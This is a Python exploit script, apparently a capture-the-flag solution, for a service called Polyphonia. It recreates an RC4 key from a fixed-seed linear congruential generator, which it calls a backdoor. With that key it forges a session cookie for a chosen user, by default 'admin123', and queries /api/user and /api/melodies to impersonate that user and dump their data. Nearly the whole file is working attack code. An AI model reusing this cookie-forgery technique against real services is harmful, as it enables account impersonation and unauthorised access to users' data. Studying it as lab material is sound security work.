#!/usr/bin/env python3
import argparse
import json
import sys
from urllib import error, request

# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
    state = 0
    out = bytearray()
    while len(out) < length:
        state = (214013 * state + 2531011) & 0x7fffffff
        r = (state >> 16) & 0xFFFF
        hi = (r >> 8) & 0xFF
        lo = r & 0xFF
        if len(out) < length:
            out.append(hi)
        if len(out) < length:
            out.append(lo)
    return bytes(out)
SESSION_LEN = 64


def rc4(key: bytes, data: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]
    i = 0
    j = 0
    out = bytearray(len(data))
    for idx, byte in enumerate(data):
        i = (i + 1) & 0xFF
        j = (j + s[i]) & 0xFF
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) & 0xFF]
        out[idx] = byte ^ k
    return bytes(out)


def forge_cookie(username: str) -> str:
    encoded = username.encode("utf-8")
    if len(encoded) > SESSION_LEN:
        raise ValueError("username too long for forged session payload")
    padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
    key = derive_rc4_key(22)
    ciphertext = rc4(key, padded)
    return ciphertext.hex()


def query_user(base_url: str, cookie_value: str) -> None:
    url = base_url.rstrip("/") + "/api/user"
    req = request.Request(url)
    req.add_header("Cookie", f"session={cookie_value}")
    with request.urlopen(req) as resp:
        body = resp.read().decode("utf-8", errors="replace")
        print(f"[+] HTTP {resp.status}")
        print(body)


def query_melodies(base_url: str, cookie_value: str) -> None:
    url = base_url.rstrip("/") + "/api/melodies"
    req = request.Request(url)
    req.add_header("Cookie", f"session={cookie_value}")
    with request.urlopen(req) as resp:
        raw = resp.read().decode("utf-8", errors="replace")
        try:
            data = json.loads(raw)
        except json.JSONDecodeError:
            print("[-] Failed to parse melodies JSON; raw response:")
            print(raw)
            return
        items = data.get("melodies")
        if not isinstance(items, list):
            print("[-] Unexpected melodies schema; raw response:")
            print(raw)
            return
        if not items:
            print("[+] No melodies found")
            return
        print("[+] Melodies:")
        for m in items:
            if not isinstance(m, dict):
                continue
            name = m.get("name")
            desc = m.get("description")
            if not isinstance(name, str):
                name = str(name)
            if not isinstance(desc, str):
                desc = ""
            print(f"- {name}: {desc}")


def main() -> int:
    parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
    parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
    parser.add_argument("--username", default="admin123", help="Username to impersonate")
    parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
    args = parser.parse_args()

    try:
        cookie_value = forge_cookie(args.username)
    except ValueError as exc:
        print(f"[-] {exc}")
        return 1

    print(f"[+] Forged cookie for {args.username}: {cookie_value}")

    if args.no_request:
        return 0

    try:
        query_user(args.base_url, cookie_value)
        # Then dump melodies for this session
        query_melodies(args.base_url, cookie_value)
    except error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        print(f"[-] Server returned HTTP {exc.code}: {body}")
        return 1
    except error.URLError as exc:
        print(f"[-] Failed to contact {args.base_url}: {exc}")
        return 1

    return 0


if __name__ == "__main__":
    sys.exit(main())